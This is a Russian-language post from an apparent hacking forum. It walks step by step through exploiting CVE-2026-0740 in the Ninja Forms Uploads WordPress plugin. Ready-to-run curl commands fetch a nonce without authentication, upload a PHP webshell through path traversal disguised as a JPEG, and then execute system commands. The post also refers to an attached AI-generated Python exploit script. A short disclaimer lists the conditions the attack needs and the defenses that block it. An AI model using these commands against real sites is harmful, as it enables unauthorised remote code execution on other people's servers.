Niflheim World BHF forum

Welcome to Niflheim !

  • First 5 messages from new users (pre-moderated user) will be checked for flood/spam before being posted on the forum. Users will also be checked for a multi-account.
    If you want to communicate without delay, get a free Huscarl status (how to get - User Groups), or buy premium status to see all hidden content (how to buy - Premium status)

    The administrator has only one telegram - @ftmadmin and our chat - Link on chat

Soft [Python/Bash + Apex AI] Уязвимость в плагине Ninja Forms Uploads для WordPress (CVE-2026-0740)


DarkholdRT

Publisher
Staff member
Lenderman
Joined
Jul 24, 2026
Messages
5
Reaction score
1
NL COIN
45
Сегодня разберём эксплуатацию неаутентифицированной произвольной загрузки файлов (Unauthenticated Arbitrary File Upload) в плагине Ninja Forms Uploads для WordPress (CVE-2026-0740).

Пошаговый разбор работы эксплойта
  1. Генерация случайного идентификатора поля (field_id)
    Скрипт генерирует случайное число (например, 16-значное). В нормальной ситуации field_id должен соответствовать реальному полю формы, созданному администратором.
  2. Получение nonce (защитного токена)
    Bash:
    curl -s -X POST "$target/wp-admin/admin-ajax.php" -d "action=nf_fu_get_new_nonce&field_id=$field_id"
    Скрипт обращается к файлу admin-ajax.php (который в WordPress доступен без авторизации) и запрашивает токен безопасности (nonce) для действия nf_fu_get_new_nonce.
    Уязвимость: Плагин ошибочно генерирует и возвращает валидный nonce для любого переданного field_id, не проверяя, существует ли такая форма или имеет ли пользователь право на загрузку. Это позволяет обойти проверку подлинности запроса.
  3. Загрузка файла с использованием обхода путей (Path Traversal)
    Bash:
    curl -ks -X POST "$target/wp-admin/admin-ajax.php" \
    -F "action=nf_fu_upload" \
    -F "nonce=$nonce" \
    -F "form_id=$field_id" \
    -F "field_id=$field_id" \
    -F "image_jpg=../../../$file_name" \
    -F "files-$field_id=@/tmp/$file_name;filename=image.jpg;type=image/jpeg"
    Это ядро уязвимости. Здесь используются две хитрости:
    • Маскировка: Файл отправляется как image.jpg с MIME-типом image/jpeg, чтобы обойти базовые проверки расширения и типа файла на стороне клиента или простые проверки сервера.
    • Directory Traversal (../../../): Параметр image_jpg=../../../webshell.php является критическим. Вместо того чтобы безопасно сохранить файл во временной директории или папке загрузок (например, wp-content/uploads/ninja-forms/), уязвимый код плагина, вероятно, использует значение параметра image_jpg для формирования итогового пути сохранения. Последовательность ../../../ заставляет сервер "подняться" на три уровня вверх из целевой папки и сохранить файл прямо в директории wp-content/ под именем webshell.php.
  4. Выполнение кода:
    Bash:
    curl -ks "$target/wp-content/webshell.php?cmd=id"
    Поскольку файл был сохранен в общедоступной директории wp-content/ с расширением .php, веб-сервер (Apache/Nginx) интерпретирует его как PHP-скрипт. Передача параметра ?cmd=id позволяет выполнить произвольную системную команду на сервере.
DISCLAIMER:
Нет, не на любом. Успешная эксплуатация зависит от множества факторов конфигурации сервера и защиты:
  1. Точная версия плагина: Уязвимость должна присутствовать в установленной версии (в описании указана 3.3.24, но может затрагивать и соседние версии до выхода патча). Если плагин обновлен, эксплойт не сработает.
  2. Настройки прав доступа к файлам: Для успешной записи файла в wp-content/ процесс веб-сервера (например, www-data) должен иметь права на запись в эту директорию. Хотя это часто так, в некоторых конфигурациях права могут быть ограничены.
  3. Выполнение PHP в директории wp-content:
    Это самый частый способ защиты. Администраторы могут добавить в файл .htaccess (для Apache) или в конфигурацию Nginx правило, запрещающее выполнение PHP-скриптов в директориях загрузок и в wp-content.
    Пример для Apache: php_flag engine off (можно пробовать другие расширения)
    Пример для Nginx
    : location ~* ^/wp-content/.*\.php$ { deny all; }
    Если такая защита настроена, сервер вернет ошибку 403 Forbidden или просто отдаст исходный код файла как текст, но не выполнит его.
  4. Web Application Firewall (WAF):
    Современные WAF (например, Cloudflare, ModSecurity, Wordfence, iThemes Security) почти наверняка заблокируют этот запрос. Сигнатуры, содержащие ../../../, admin-ajax.php с подозрительными параметрами или попытку загрузки .php под видом .jpg, являются классическими триггерами для блокировки.
  5. Отключение admin-ajax.php для гостей: Некоторые плагины безопасности ограничивают доступ к admin-ajax.php только для авторизованных пользователей, что сломает самый первый шаг эксплойта (получение nonce).

В архиве прикреплено Python скритп, который поможет оптимизировать запросы, сгенерировано с Apex-AI.
Запуск python скрипта:
Bash:
python cve_2026_0740.py https://example.com -v
 

Attachments

Last edited:
shape1
shape2
shape3
shape4
shape7
shape8
Top